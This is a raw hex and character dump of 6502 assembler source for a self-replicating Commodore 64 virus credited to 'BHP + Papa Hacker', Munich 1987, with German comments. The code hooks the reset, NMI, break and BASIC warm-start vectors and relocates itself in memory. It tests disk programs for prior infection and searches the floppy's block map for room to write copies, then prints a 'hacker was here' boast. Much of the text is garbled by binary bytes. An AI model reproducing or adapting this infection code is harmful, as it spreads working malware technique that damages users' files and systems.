00004180: 53 52 20 4D 41 4B 45 00  A9 49 E4 84 53 54 58 20  |SR MAKE..I..STX |
00004190: 24 44 30 31 36 20 20 20  3B B0 47 49 4E 41 4C A4  |$D016   ;.GINAL.|
000041A0: 4E 20 22 52 45 53 45 54  22 00 B6 49 F8 84 4A 53  |N "RESET"..I..JS|
000041B0: 52 20 4D 41 4B 45 00 C4  49 02 85 4A 53 52 20 24  |R MAKE..I..JSR $|
000041C0: 46 44 41 33 00 D1 49 16  85 4C 44 41 20 23 24 30  |FDA3..I..LDA #$0|
000041D0: 30 00 D9 49 20 85 54 41  59 00 EC 49 2A 85 9E 52  |0..I .TAY..I*..R|
000041E0: 20 53 54 41 20 24 30 30  30 32 2C 59 00 11 4A 34  | STA $0002,Y..J4|
000041F0: 85 53 54 41 20 24 30 32  30 30 2C 59 20 3B 50 41  |.STA $0200,Y ;PA|
00004200: 47 45 20 30 2C 32 2C 33  20 4C 4F 45 53 43 48 45  |GE 0,2,3 LOESCHE|
00004210: 4E 00 21 4A 3E 85 53 54  41 20 24 30 33 30 30 2C  |N.!J>.STA $0300,|
00004220: 59 00 29 4A 48 85 49 4E  59 00 34 4A 52 85 42 4E  |Y.)JH.INY.4JR.BN|
00004230: 45 20 9E 52 00 43 4A 5C  85 4A 53 52 20 52 45 4C  |E .R.CJ\.JSR REL|
00004240: 49 4E 4B 00 50 4A 66 85  4A 53 52 20 4D 41 4B 45  |INK.PJf.JSR MAKE|
00004250: 00 6F 4A 70 85 4A 53 52  20 24 46 44 35 46 20 20  |.oJp.JSR $FD5F  |
00004260: 20 3B 53 50 45 49 43 48  45 52 20 49 4E 49 54 00  | ;SPEICHER INIT.|
00004270: 7C 4A 7A 85 4A 53 52 20  4D 41 4B 45 00 9A 4A 84  ||Jz.JSR MAKE..J.|
00004280: 85 4A 53 52 20 24 46 44  31 35 20 20 20 3B 56 45  |.JSR $FD15   ;VE|
00004290: 4B A4 52 45 4E 20 49 4E  49 54 00 A9 4A 8E 85 4A  |K.REN INIT..J..J|
000042A0: 53 52 20 52 45 49 4E 53  54 00 B6 4A 98 85 4A 53  |SR REINST..J..JS|
000042B0: 52 20 4D 41 4B 45 00 DA  4A A2 85 4A 4D 50 20 24  |R MAKE..J..JMP $|
000042C0: 46 43 46 42 20 20 20 3B  52 45 53 45 54 20 4E B0  |FCFB   ;RESET N.|
000042D0: 4D 41 4C 20 57 45 49 54  45 52 00 FA 4A 40 9C 3B  |MAL WEITER..J@.;|
000042E0: AB AB AB 56 49 52 55 53  20 4C 49 4E 4B 20 50 52  |...VIRUS LINK PR|
000042F0: 4F 47 52 41 4D 4D AB AB  AB B1 00 15 4B 4A 9C 45  |OGRAMM......KJ.E|
00004300: 58 54 45 52 4E 20 4E 4F  50 20 3A 20 4E 4F 50 20  |XTERN NOP : NOP |
00004310: 3A 20 4E 4F 50 00 3B 4B  54 9C 52 54 53 20 20 20  |: NOP.;KT.RTS   |
00004320: 20 20 20 20 20 20 3B 45  58 54 45 52 45 4E 20 42  |      ;EXTEREN B|
00004330: 45 46 45 48 4C 20 41 55  53 46 2E 00 5A 4B 5E 9C  |EFEHL AUSF..ZK^.|
00004340: 4A 53 52 20 52 4F 4D 52  41 4D 20 20 3B 53 C0 44  |JSR ROMRAM  ;S.D|
00004350: 41 52 54 20 4B 91 46 49  47 2E 00 67 4B 68 9C 4A  |ART K.FIG..gKh.J|
00004360: 53 52 20 4C 49 4E 4B 00  6F 4B 72 9C 53 45 49 00  |SR LINK.oKr.SEI.|
00004370: 90 4B 7C 9C 49 52 4F 4D  52 41 4D 20 50 48 50 20  |.K|.IROMRAM PHP |
00004380: 3B 52 45 47 49 53 54 45  52 20 52 45 54 54 45 4E  |;REGISTER RETTEN|
00004390: 00 A2 4B 86 9C 50 48 41  20 20 20 20 20 20 20 20  |..K..PHA        |
000043A0: 20 3B 00 C5 4B 90 9C 4C  44 41 20 31 20 20 20 20  | ;..K..LDA 1    |
000043B0: 20 20 20 3B 4F 53 20 55  4E 44 20 49 4F 20 45 49  |   ;OS UND IO EI|
000043C0: 4E AD 41 55 53 00 CF 4B  9A 9C 45 B0 20 23 37 00  |N.AUS..K..E. #7.|
000043D0: DF 4B A4 9C 49 51 55 49  54 20 53 54 41 20 31 00  |.K..IQUIT STA 1.|
000043E0: E7 4B AE 9C 50 4C 41 00  EF 4B B8 9C 50 4C 50 00  |.K..PLA..K..PLP.|
000043F0: F7 4B C2 9C 52 54 53 00  05 4C CC 9C 49 93 20 20  |.K..RTS..L..I.  |
00004400: 4A 53 52 20 93 00 24 4C  D6 9C 4A 53 52 20 8A 49  |JSR ..$L..JSR .I|
00004410: 54 20 20 20 20 20 20 20  20 3A 20 2E 42 59 54 45  |T        : .BYTE|
00004420: 20 31 32 38 00 2C 4C E0  9C 52 54 53 00 3A 4C EA  | 128.,L..RTS.:L.|
00004430: 9C 49 94 20 20 4A 53 52  20 94 00 59 4C F4 9C 4A  |.I.  JSR ..YL..J|
00004440: 53 52 20 8A 49 54 20 20  20 20 20 20 20 20 3A 20  |SR .IT        : |
00004450: 2E 42 59 54 45 20 20 36  34 00 61 4C FE 9C 52 54  |.BYTE  64.aL..RT|
00004460: 53 00 80 4C 08 9D 49 42  57 53 31 20 20 4A 53 52  |S..L..IBWS1  JSR|
00004470: 20 8A 49 54 20 3A 20 2E  42 59 54 45 20 20 33 32  | .IT : .BYTE  32|
00004480: 00 94 4C 12 9D 49 42 57  53 32 20 20 4A 4D 50 20  |..L..IBWS2  JMP |
00004490: 42 57 53 31 00 B3 4C 1C  9D 49 4E 4D 49 31 20 20  |BWS1..L..INMI1  |
000044A0: 4A 53 52 20 8A 49 54 20  3A 20 2E 42 59 54 45 20  |JSR .IT : .BYTE |
000044B0: 20 31 36 00 C7 4C 26 9D  49 4E 4D 49 32 20 20 4A  | 16..L&.INMI2  J|
000044C0: 4D 50 20 4E 4D 49 31 00  D4 4C 34 9E 49 8A 49 54  |MP NMI1..L4.I.IT|
000044D0: 20 50 48 50 00 DC 4C 3E  9E 50 48 41 00 F1 4C 48  | PHP..L>.PHA..LH|
000044E0: 9E 43 48 45 43 4B 20 4C  44 41 20 4E 4D 49 54 41  |.CHECK LDA NMITA|
000044F0: 48 00 13 4D 52 9E AF 20  4E 4D 49 54 42 48 20 20  |H..MR.. NMITBH  |
00004500: 3B 4E 4D 49 AB 54 49 4D  45 52 20 41 42 46 52 41  |;NMI.TIMER ABFRA|
00004510: 47 45 4E 00 21 4D 5C 9E  42 45 51 20 43 48 45 43  |GEN.!M\.BEQ CHEC|
00004520: 4B 00 29 4D 66 9E 53 45  49 00 33 4D 70 9E 4C 44  |K.)Mf.SEI.3Mp.LD|
00004530: 41 20 31 00 3B 4D 7A 9E  50 48 41 00 46 4D 84 9E  |A 1.;Mz.PHA.FM..|
00004540: 4C 44 41 20 23 30 00 50  4D 8E 9E 53 54 41 20 31  |LDA #0.PM..STA 1|
00004550: 00 5D 4D 98 9E 4A 53 52  20 9E 54 45 4D 00 6A 4D  |.]M..JSR .TEM.jM|
00004560: A2 9E 49 80 49 54 20 50  4C 41 00 77 4D AC 9E 4A  |..I.IT PLA.wM..J|
00004570: 4D 50 20 51 55 49 54 00  91 4D B6 9E 49 4E 41 4D  |MP QUIT..M..INAM|
00004580: 45 20 2E C6 20 22 2A 22  20 3B 20 46 49 C3 41 4D  |E .. "*" ; FI.AM|
00004590: 45 00 B0 4D 28 A0 49 52  45 53 45 54 20 4C 44 41  |E..M(.IRESET LDA|
000045A0: 20 23 24 32 46 20 20 3A  20 53 54 41 20 24 30 30  | #$2F  : STA $00|
000045B0: 00 C8 4D 32 A0 4C 44 41  20 23 24 30 30 20 20 3A  |..M2.LDA #$00  :|
000045C0: 20 53 54 41 20 24 30 31  00 D7 4D 3C A0 4A 4D 50  | STA $01..M<.JMP|
000045D0: 20 9E 52 45 53 45 54 00  F8 4D 67 BF 3B AB AB AB  | .RESET..Mg.;...|
000045E0: AB AB AB AB AB AB AB AB  AB AB AB AB AB AB AB AB  |................|
000045F0: AB AB AB AB AB AB AB AB  00 12 4E 68 BF 8E 20 52  |..........Nh.. R|
00004600: 54 49 20 20 3B 4E 4D 49  AB 52 55 45 43 4B 53 50  |TI  ;NMI.RUECKSP|
00004610: 8A 47 00 33 4E 41 C3 52  4F 4D 52 41 4D 20 B2 20  |.G.3NA.ROMRAM . |
00004620: 49 52 4F 4D 52 41 4D AB  45 58 54 45 52 4E AA 4C  |IROMRAM.EXTERN.L|
00004630: 49 4E 4B 00 50 4E 42 C3  8A 49 54 20 20 B2 20 49  |INK.PNB..IT  . I|
00004640: 8A 49 54 20 AB 45 58 54  45 52 4E AA 4C 49 4E 4B  |.IT .EXTERN.LINK|
00004650: 00 6D 4E 43 C3 80 49 54  20 20 B2 20 49 80 49 54  |.mNC..IT  . I.IT|
00004660: 20 AB 45 58 54 45 52 4E  AA 4C 49 4E 4B 00 8E 4E  | .EXTERN.LINK..N|
00004670: 44 C3 52 45 53 45 54 20  20 B2 20 49 52 45 53 45  |D.RESET  . IRESE|
00004680: 54 20 AB 45 58 54 45 52  4E AA 4C 49 4E 4B 00 AF  |T .EXTERN.LINK..|
00004690: 4E 45 C3 42 57 53 32 20  20 20 B2 20 49 42 57 53  |NE.BWS2   . IBWS|
000046A0: 32 20 20 AB 45 58 54 45  52 4E AA 4C 49 4E 4B 00  |2  .EXTERN.LINK.|
000046B0: D0 4E 46 C3 42 57 53 31  20 20 20 B2 20 49 42 57  |.NF.BWS1   . IBW|
000046C0: 53 31 20 20 AB 45 58 54  45 52 4E AA 4C 49 4E 4B  |S1  .EXTERN.LINK|
000046D0: 00 F1 4E 47 C3 4E 4D 49  32 20 20 20 B2 20 49 4E  |..NG.NMI2   . IN|
000046E0: 4D 49 32 20 20 AB 45 58  54 45 52 4E AA 4C 49 4E  |MI2  .EXTERN.LIN|
000046F0: 4B 00 12 4F 48 C3 4E 4D  49 31 20 20 20 B2 20 49  |K..OH.NMI1   . I|
00004700: 4E 4D 49 31 20 20 AB 45  58 54 45 52 4E AA 4C 49  |NMI1  .EXTERN.LI|
00004710: 4E 4B 00 2D 4F 49 C3 94  20 20 20 B2 20 49 94 20  |NK.-OI..   . I. |
00004720: 20 AB 45 58 54 45 52 4E  AA 4C 49 4E 4B 00 48 4F  | .EXTERN.LINK.HO|
00004730: 4A C3 93 20 20 20 B2 20  49 93 20 20 AB 45 58 54  |J..   . I.  .EXT|
00004740: 45 52 4E AA 4C 49 4E 4B  00 69 4F 4B C3 4E 41 4D  |ERN.LINK.iOK.NAM|
00004750: 45 20 20 20 B2 20 49 4E  41 4D 45 20 20 AB 45 58  |E   . INAME  .EX|
00004760: 54 45 52 4E AA 4C 49 4E  4B 00 8A 4F 4C C3 51 55  |TERN.LINK..OL.QU|
00004770: 49 54 20 20 20 B2 20 49  51 55 49 54 20 20 AB 45  |IT   . IQUIT  .E|
00004780: 58 54 45 52 4E AA 4C 49  4E 4B 00 A9 4F 4D C3 52  |XTERN.LINK..OM.R|
00004790: 45 53 45 54 56 20 2E 42  59 54 45 20 B3 52 45 53  |ESETV .BYTE .RES|
000047A0: 45 54 2C B1 52 45 53 45  54 00 BB 4F 4E C3 2E 42  |ET,.RESET..ON..B|
000047B0: 59 54 45 20 24 35 45 2C  24 46 45 00 D9 4F 4F C3  |YTE $5E,$FE..OO.|
000047C0: 2E 42 59 54 45 20 24 43  33 2C 24 43 32 2C 24 43  |.BYTE $C3,$C2,$C|
000047D0: 44 2C 24 33 38 2C 24 33  30 00 FA 4F 50 C3 3B AB  |D,$38,$30..OP.;.|
000047E0: AB AB AB AB AB 56 49 52  55 53 AB 4D 45 4C 44 45  |.....VIRUS.MELDE|
000047F0: 54 AB 53 49 43 48 AB AB  B1 43 00 18 50 51 C3 43  |T.SICH...C..PQ.C|
00004800: 41 4C 4C 20 4C 44 41 20  24 39 44 20 3B 44 49 52  |ALL LDA $9D ;DIR|
00004810: 45 4B 54 4D 4F 44 55 53  00 23 50 52 C3 42 50 4C  |EKTMODUS.#PR.BPL|
00004820: 20 43 34 00 43 50 53 C3  4C 44 41 20 24 41 32 20  | C4.CPS.LDA $A2 |
00004830: 20 20 20 20 20 3B 4C 4F  57 AB 42 59 54 45 20 5A  |     ;LOW.BYTE Z|
00004840: 45 49 54 00 4E 50 54 C3  42 50 4C 20 43 34 00 5B  |EIT.NPT.BPL C4.[|
00004850: 50 55 C3 4A 53 52 20 4D  41 4B 45 00 79 50 56 C3  |PU.JSR MAKE.yPV.|
00004860: 4C 44 41 20 24 44 30 31  32 20 20 20 20 3B 52 41  |LDA $D012    ;RA|
00004870: 53 54 45 52 5A 45 49 4C  45 00 84 50 57 C3 42 50  |STERZEILE..PW.BP|
00004880: 4C 20 43 34 00 91 50 6E  C3 4C 44 59 20 23 24 30  |L C4..Pn.LDY #$0|
00004890: 30 00 A3 50 78 C3 43 33  20 4C 44 41 20 54 45 58  |0..Px.C3 LDA TEX|
000048A0: 54 2C 59 00 AE 50 82 C3  42 45 51 20 43 31 00 BB  |T,Y..P..BEQ C1..|
000048B0: 50 8C C3 4A 53 52 20 4D  41 4B 45 00 DC 50 96 C3  |P..JSR MAKE..P..|
000048C0: 4A 53 52 20 43 48 41 52  4F 55 54 20 20 3B 5A 45  |JSR CHAROUT  ;ZE|
000048D0: 49 43 48 45 4E 41 55 53  47 41 42 45 00 E7 50 B4  |ICHENAUSGABE..P.|
000048E0: C3 4C 44 58 20 23 30 00  F7 50 B5 C3 43 32 20 4A  |.LDX #0..P..C2 J|
000048F0: 53 52 20 4D 41 4B 45 00  15 51 B6 C3 49 4E 43 20  |SR MAKE..Q..INC |
00004900: 24 44 30 32 30 20 20 20  20 3B 52 41 48 4D 45 4E  |$D020    ;RAHMEN|
00004910: 46 41 52 42 45 00 1D 51  BE C3 49 4E 58 00 28 51  |FARBE..Q..INX.(Q|
00004920: C8 C3 42 4E 45 20 43 32  00 30 51 D2 C3 49 4E 59  |..BNE C2.0Q..INY|
00004930: 00 3B 51 DC C3 4A 4D 50  20 43 33 00 4E 51 FB C3  |.;Q..JMP C3.NQ..|
00004940: 43 31 20 4C 44 58 20 43  4F 55 4E 54 45 52 00 60  |C1 LDX COUNTER.`|
00004950: 51 FC C3 4C 44 41 20 43  4F 55 4E 54 45 52 AA 31  |Q..LDA COUNTER.1|
00004960: 00 6D 51 FD C3 4A 53 52  20 4D 41 4B 45 00 8F 51  |.mQ..JSR MAKE..Q|
00004970: FE C3 4A 53 52 20 24 42  44 43 44 20 20 20 20 3B  |..JSR $BDCD    ;|
00004980: 4E 55 4D 4D 45 52 20 41  55 53 47 45 42 45 4E 00  |NUMMER AUSGEBEN.|
00004990: A4 51 FF C3 4C 44 41 20  23 31 33 20 20 20 20 20  |.Q..LDA #13     |
000049A0: 20 3B 43 52 00 B1 51 00  C4 4A 53 52 20 4D 41 4B  | ;CR..Q..JSR MAK|
000049B0: 45 00 CC 51 01 C4 4A 53  52 20 43 48 41 52 4F 55  |E..Q..JSR CHAROU|
000049C0: 54 20 20 3B 41 55 53 47  45 42 45 4E 00 DF 51 02  |T  ;AUSGEBEN..Q.|
000049D0: C4 43 34 20 49 4E 43 20  43 4F 55 4E 54 45 52 00  |.C4 INC COUNTER.|
000049E0: EA 51 03 C4 42 4E 45 20  43 36 00 FC 51 04 C4 49  |.Q..BNE C6..Q..I|
000049F0: 4E 43 20 43 4F 55 4E 54  45 52 AA 31 00 07 52 05  |NC COUNTER.1..R.|
00004A00: C4 43 36 20 52 54 53 00  19 52 18 C4 54 45 58 54  |.C6 RTS..R..TEXT|
00004A10: 20 2E 42 59 54 45 20 31  33 00 50 52 19 C4 2E C6  | .BYTE 13.PR....|
00004A20: 20 22 44 52 2E 44 52 2E  53 54 52 4F 42 45 26 50  | "DR.DR.STROBE&P|
00004A30: 41 50 41 20 48 41 43 4B  45 52 20 57 41 53 20 48  |APA HACKER WAS H|
00004A40: 45 52 45 21 22 20 3A 20  2E 42 59 54 45 20 31 33  |ERE!" : .BYTE 13|
00004A50: 00 7B 52 22 C4 2E C6 20  22 43 4F 50 52 4F 47 52  |.{R"... "COPROGR|
00004A60: 41 4D 4D 45 52 3A 20 47  41 52 46 49 45 4C 44 22  |AMMER: GARFIELD"|
00004A70: 20 3A 20 2E 42 59 54 45  20 31 33 00 88 52 27 C4  | : .BYTE 13..R'.|
00004A80: 2E 42 59 54 45 20 31 33  00 C2 52 28 C4 2E C6 20  |.BYTE 13..R(... |
00004A90: 22 48 41 4C 4C 4F 20 44  49 43 4B 45 52 43 48 45  |"HALLO DICKERCHE|
00004AA0: 4E 2C 20 44 49 45 53 20  49 53 54 20 45 49 4E 20  |N, DIES IST EIN |
00004AB0: 45 43 48 54 45 52 22 20  3A 20 2E 42 59 54 45 20  |ECHTER" : .BYTE |
00004AC0: 31 33 00 E0 52 29 C4 2E  C6 20 22 56 49 52 55 53  |13..R)... "VIRUS|
00004AD0: 21 22 20 3A 20 2E 42 59  54 45 20 31 33 2C 31 33  |!" : .BYTE 13,13|
00004AE0: 00 FE 52 2C C4 2E C6 20  22 53 45 52 49 41 4C 4E  |..R,... "SERIALN|
00004AF0: 4F 2E 3A 22 20 3A 20 2E  42 59 54 45 20 30 00 11  |O.:" : .BYTE 0..|
00004B00: 53 36 C4 43 4F 55 4E 54  45 52 20 2E 57 B0 44 20  |S6.COUNTER .W.D |
00004B10: 30 00 34 53 18 F6 AC B2  20 32 35 34 AC 42 4C 4F  |0.4S.... 254.BLO|
00004B20: 43 4B 53 AA 53 54 41 52  54 AB 32 20 3A 20 AC B2  |CKS.START.2 : ..|
00004B30: 20 AC AA 32 00 44 53 19  F6 2E 42 59 54 45 20 24  | ..2.DS...BYTE $|
00004B40: 30 2C 24 30 00 14 00                              |0,$0...         |
..N.... COPYRIGHT 1987 BY BHP+PAPA HACKE
R        VIRUS C-64   MUNICH 18.2.1987.A
....1,8,1,"VIRUS".M....9.4096.Y....OPT O
1.....START    . $D000.......         ST
ART.....PAR     . $B7.G...MEM     . $58.
....SETPAR  . $FFBA.....SETNAME . $FFBD.
....IEC. . $F3D5.....SEK     . $B9.$...D
EV     . $BA.5...SEK. . $FF93.I...SEKTAL
K . $FF96.Z....    . $FFB1.N...TALK    .
 $FFB4....UN.  . $FFAE.....UNTALK  . $F
FAB.....IEC.  . $FFA5.....IECOUT  . $FFA
8.K...STATUS  . $90.....COUNT   . MEM...
..    . $F642.....BAM     . COUNT . 1...
..TRACK   . BAM   . 3.5...VTRACK  . TRAC
K . 1.K....E    . VTRACK. 1.A. .PUFFER  
. .E  . 1.Y.!.JOB     . PUFFER. 1...".DO
      . JOB   . 1...#.X       . BAM...$.
Y       . BAM   . 1.S.%.Z       . BAM   
. 2...&.BASICS  . 43...'.ADR     . DO   
 . 1...(.SEC.R  . ADR   . 1.*.).VSEC    
. SEC.R. 1.:.*.BLOCKS  . 8.K.+.W.K    . 
$8B.].,.MEM1    . W.K.T.-.MEM2    . W.K 
 . 1.....MEM3    . W.K  . 2.../.MEM4    
. W.K  . 3...0.BREAKP  . $0316.G.1.BASIC
E  . 45.V.2..E   . $AE...3.LINKC . 88...
4..P   . $0330...5..P   . $0332...6.LINK
    . $02A7./.7.NMITAH  . $DD05.C.8.NMIT
BH  . $DD07.W.9.NMIP    . $0318.K.:.ROMT
EST . $FD02..;.WARMP   . $0302...<.IRQP
    . $0314...=.IRQE    . $EA31...>.NMIE
    . $EA86.L.?..    . $FFE1...@.CHAROUT
 . $FFD2......BYTE 031,008,194,007,158."
...VIRUS .BYTE 194,040,052,051,041.@....
BYTE 170,194,040,052,052.^....BYTE 041,1
72,050,053,054.|....BYTE 170,052,056,058
,086......BYTE 073,082,085,083,000...$..
BYTE 000,000...)..W.D BLOCKS.254...*..BY
TE $A7,$AD,$A6,$5D,$A5,$32,$A6,$8D...+..
.. . 6.....;1986 .B(43).B(44).256.48:. .
8.;VIRUS.D.O.;...INITIALISIERE.VIRUS....
INIT.P.P.LDY #34.I.Z.INIT3 LDA (BASICS),
Y.Q...PHA.Y...INY.....CPY #42.....BNE IN
IT3...P.PHP          ;STATUS,.Q.Z.SEI   
       ;.ERRUPT SPERREN !.....PHA       
   ;AKKU,.....LDA 1        ;UND SPEICHER
K.FIG..'...PHA          ;RETTEN.7...LDA 
#..IT.1.\...PHA          ;RUECKKEHRPUNKT
 VOM.V...LDA #..IT.1;VIRUS.TEM.~...PHA..
.J.LDA #0...T.STA 1        ;AUF RAM UMSC
HALTEN.....LDY #$03.O...INIT1 LDA W.K,Y.
W...PHA.....DEY.....BPL INIT1.....LDA BA
SICS   ;KOPIERE DEN VIRUS.5...STA MEM1  
   ;UNTER I.O BEREICH.F.$.LDA BASICS.1.S
...STA MEM2.C.8.LDA #.START.P.B.STA MEM3
...L.LDA #.START...V.STA MEM4...`.LDX #B
LOCKS...J.LDY #0...T.INIT2 LDA (MEM1),Y.
P.~.STA (MEM3),Y.X...INY.....BNE INIT2..
...INC MEM2.....INC MEM4.....DEX.....BNE
 INIT2. .D.JMP ..D...;....VERSCHIEBE PRO
GRAMM...MOVE.G.B.MOVE SEC     ;SETZE PRO
GRAMM.E.|.L.LDA .E    ;PO.ER...Q.LDY #32
...V.SBC (BASICS),Y.....STA BASICE.....S
TA .E.C...LDA .E .1.K...INY.....SBC (BAS
ICS),Y.....STA BASICE.1.....STA .E .1...
..LDA #0.+.&.STA MEM1     ;VERSCHIEBE PO
.ER.G.0.LDA BASICS.1 ;BERECHNEN.T.:.STA 
MEM2.\.D.CLC.D.I.DEY.W.N.LDA (BASICS),Y.
..X.ADC BASICS...B.STA MEM3...G.INY...L.
LDA (BASICS),Y...V.ADC BASICS.1.L...STA 
MEM4.T...SEC.....LDA MEM3.....SBC BASICS
.....STA MEM3.....LDA MEM4.....SBC #0.".
F.STA MEM4.1.P.LDY BASICS.F.Z.MOVE1 CPY 
BASICE.T...BNE MOVE2.A...LDA MEM2.R...CM
P BASICE.1.....BEQ MOVE3.....MOVE2 LDA (
MEM3),Y.....STA (MEM1),Y... .INY.V.*.BNE
 MOVE1    ;PROGRAMM AN .GINAL....4.INC M
EM2     ;ADRESSE VERSCHIEBEN...>.INC MEM
4...H.BNE MOVE1.*.R.MOVE3 LDA .E.1.N.\.C
MP #$80     ;UEBERPRUEFE LADE..I.F.BCS M
OVE4    ;.ADRESSE.T.P.LDX #9...Z.ROM LDA
 RESETV,X.....STA $8000,X.....DEX.....BP
L ROM.....MOVE4 RTS... .;....NEUSTART VI
RUS............... LDA $FFFA.....PHA    
     ;NMI.VEK.R RETTEN. ...LDA $FFFB   ;
.2.H.PHA         ;.Q.R.LDA #..;UND AUF R
TI SETZEN.C...STA $FFFA   ;.O...LDA #...
}...STA $FFFB.....JSR MOVE    ;PROGRAMM 
VERSCHIEBEN.....LDA #0.....TAY.....CLC.Q
...N1 ADC VIRUS,Y.Y...ROL.....ADC #0....
.INY.....CPY #27.....BNE N1.....CMP #186
.....BEQ N2.&...N3 INY.9...STA (BASICS),
Y.D...BNE N3.K...N2 JSR INSTALL ;VIRUS I
NSTALLIEREN.....JMP .. ;RUECKKEHR INS .T
EM...H.;.....INSTALL..............I...R.
INSTALL LDA NAME.M.|.CMP #"*".X...BEQ I0
.....BNE I1.....REINST JSR PO.ER.....I0 
JSR .;ZEIGER RUECKSETZEN.>...I1 JSR RELI
NK ;LINK.TEIL KOPIEREN.\...JSR PO.ER   ;
PO.ER SETZEN.....JSR MAKE      ;..EXTERN
 AUSFUEHREN.....JSR ROMTEST   ;TEST AUF 
CBM80 ....B.BNE I2...L.LDX #3...V.JSR RO
M       ;VEK.REN SETZEN.....I2 RTS...0.;
.....LINK.TEIL.KOPIEREN...R.!.:.RELINK L
DX #LINKC.5.D.R1 LDA EXTERN,X.Z.N.STA LI
NK,X  ;LINK.TEIL NACH LINK.T.X.DEX      
   ;KOPIEREN..B.BPL R1...L.RTS.....;...
..ZEIGER.SETZEN........P.....PO.ER LDA .
P.D...LDA .P.P...CMP #.......BEQ P1     
 ;DIVERSE BETRIEBS......STA ..1  ;.TEM Z
EIGER AUF.....LDA #..  ;VIRUS PROGRAMM.C
...STA .P   ;SETZEN.S...P1 LDA .P.1.O.A.
CMP #..  ;(.,.,NMI,IRQ,...F.BEQ P2      
;RESET,BASICWARMSTART,...K.STA ..2  ;BRE
AKVEK.R)...P.LDA #...I.U.STA .P.1.W.Z.P2
 LDA .P.....CMP #.......BEQ P3.....STA .
.1.....LDA #.......STA .P.!...P3 LDA .P.
1.-...CMP #...8...BEQ P4.D...STA ..2.P..
.LDA #...]...STA .P.1.N...P4 LDA WARMP.}
...CMP #.BWS1... .BEQ P5...%.STA BWS2.1.
..*.LDA #.BWS1.../.STA WARMP.G.4.P5 LDA 
WARMP.1.V.9.CMP #.BWS1...>.BEQ P6...C.ST
A BWS2.2...H.LDA #.BWS1...M.STA WARMP.1.
..R.P6 LDA NMIP...W.CMP #.NMI1.9.\.BEQ P
9.H.A.STA NMI2.1.W.F.LDA #.NMI1.D.K.STA 
NMIP.V.P.P9 LDA NMIP.1...U.CMP #.NMI1...
Z.BEQ P10. ..STA NMI2.2.....LDA #.NMI1.
....STA NMIP.1.Q...P10 LDA #.NMI1.....ST
A BREAKP.....LDA #.NMI1.....STA BREAKP.1
.....LDA #.RESET.....STA $FFFC.....LDA #
.RESET.<...STA $FFFD.D.J.RTS.D.$.;..ZEIG
ER.ZURUECKSETZEN.....R.).. LDA ..1.....S
TA .P   ;DIVERSE BETRIEBS....3.LDA ..2  
;.TEMZEIGER AUF.K.8.STA .P.1 ;.GINALADRE
SSE...=.LDA ..1  ;ZURUECKSETZEN...B.STA 
.P   ;(.,.,NMI,IRQ,.!.G.LDA ..2  ;BASICW
ARMSTART)...L.STA .P.1.=.Q.LDA BWS2.1.K.
V.STA WARMP.Z.[.LDA BWS2.2.J.`.STA WARMP
.1.Y.E.LDA NMI2.1...J.STA NMIP...O.LDA N
MI2.2...T.STA NMIP.1...Y.RTS.P.P.;......
VIRUS.KOPIEREN......JUMP...Z.DOIT LDA ST
ATUS.....PHA          ;STATUS RETTEN....
.LDX #$05.&...JUMP12 LDA PAR,X.....PHA.N
...DEX          ;SPEICHERSTELC.Q...BPL J
UMP12   ;AUF STACK RETTEN.....LDX #13.BL
OCKS...J.JUMP13 LDA MEM,X...T.PHA.....DE
X.....BPL JUMP13.R...LDA #0       ;FLOPP
Y......JSR HAC.OSH ;.....LDX #$6F     ;K
OMM.OKANAL...$.STX SEK      ;.....JSR HA
NS     ;OEF.EN.O.8.LDA #1       ;ZU.ZTBE
NUTZTES.F.B.LDX #.NAME   ;FILE.Y.L.LDY #
.NAME   ;...V.JSR HAC.OSH ;...`.LDA #$60
     ;...J.STA SEK      ;.D.T.JSR HANS  
   ;.R.~.JSR STALK.....JSR BHP      ;ADR
L.....CMP BASICS.. ..BNE ... ..JSR BHP  
    ;ADRH.* ..CMP BASICS.1.4 ..BNE ..S D
.LDA #5       ;WENN RICHTIG.Y N.STA COUN
T    ;LESE LINK,LINE,.KEN.. X.LOOP1 JSR 
BHP.. ..DEC COUNT.. ..BNE LOOP1.. ..TAX.
R ..LDA STATUS   ;FEHLER AUF.RETEN.Z ..L
SR.. ..LSR..!..BCS .      ;JA           
  .... !(.CPX #$9E     ;..BEFEHL.E!2.BNE
 JUMP1    ;NEIN, BASICPRG ....G!<.LDA #0
       ;TESTE AUF VIRUS.U!F.STA COUNT..!
P.LOOP2 JSR BHP..!Z.LDX COUNT..!D.CMP VI
RUS,X..!N.BNE JUMP1..!X.INX.I!..STX COUN
T.U!..CPX #27..!..BNE LOOP2.." .. JMP BY
E  ;PRG SCH. VERSEUCHT.."..JUMP1 JSR SUH
AL.>"..LDA #"R"     ;SCHALTE AUF LESE..V
"..STA DO       ;MODUS.C"H.LDX #$6F.O"R.
STX SEK.."..LDX #$F9     ;ZU.ZT BENUTZTE
N.."..LDY #0       ;PUFFER ERMITTC.."..L
DA #1.K"..JSR MEM.Y.."..JSR GARFIELD..".
.JSR STALK..#..JSR BHP      ;HOLE PUFFER
..#".PHA..#,.JSR SUHAL.&#6.PLA.I#@.STA J
OB      ;BERECHNE DIVERSE.E#J.CLC       
   ;PARAMETER.P#T.ADC #3..#^.STA ADR    
  ;HIGH.BYTE PUFFER..#H.LDA JOB..#R.ASL.
J#|.ADC #6       ;TRACK&SEC.R FUER..#..T
AX          ;JOB..#..STX PUFFER..#..LDY 
#0..$..LDA #2       ;HOLE START..8$..JSR
 MEM.Y   ;TRACK & .SEC.R.I$..JSR GARFIEL
D.W$B.JSR STALK.T$L.JSR BHP      ;STARTT
RACK..$V.STA TRACK    ;SPEICHERN..$..JSR
 BHP      ;STARTSEC.R.H$..STA SEC.R   ;S
PEICHERN.V$..JSR SUHAL..$..LDA TRACK    
;DIREC.RY NICHT..%..CMP #18      ;VERSEU
CHEN..%..BEQ ..A%..LDX #$0E     ;PRUEFE 
OB BAM IM.E%&.LDY #$00     ;FLOPPY.RAM V
.H.EN.{%0.LDA #2       ;IST..%:.JSR MEM.
Y..%D.JSR GARFIELD..%N.JSR STALK..%X.JSR
 BHP.U%B.CMP #18      ;DIREC.RY.TRACK..%
L.BNE .      ;NEIN  ... DANN .E..&V.JSR 
BHP..&..CMP #0       ;BAM.SEC.R.A&..BNE 
.      ;NEIN  ... DANN .E.O&..JSR SUHAL.
R&..LDX #$00     ;SUCHE PLATZ FUER..&..J
UMP3 STX X  ;VIRUS..&..TXA..&..LSR      
    ;PRUEFE UNTERSTES BIT..&F.STA COUNT 
   ;WENN BIT.0 SUCHE..&P.BCC JUMP9    ;N
ACH INNEN..'Z.LDA TRACK    ;.ERFALLS NAC
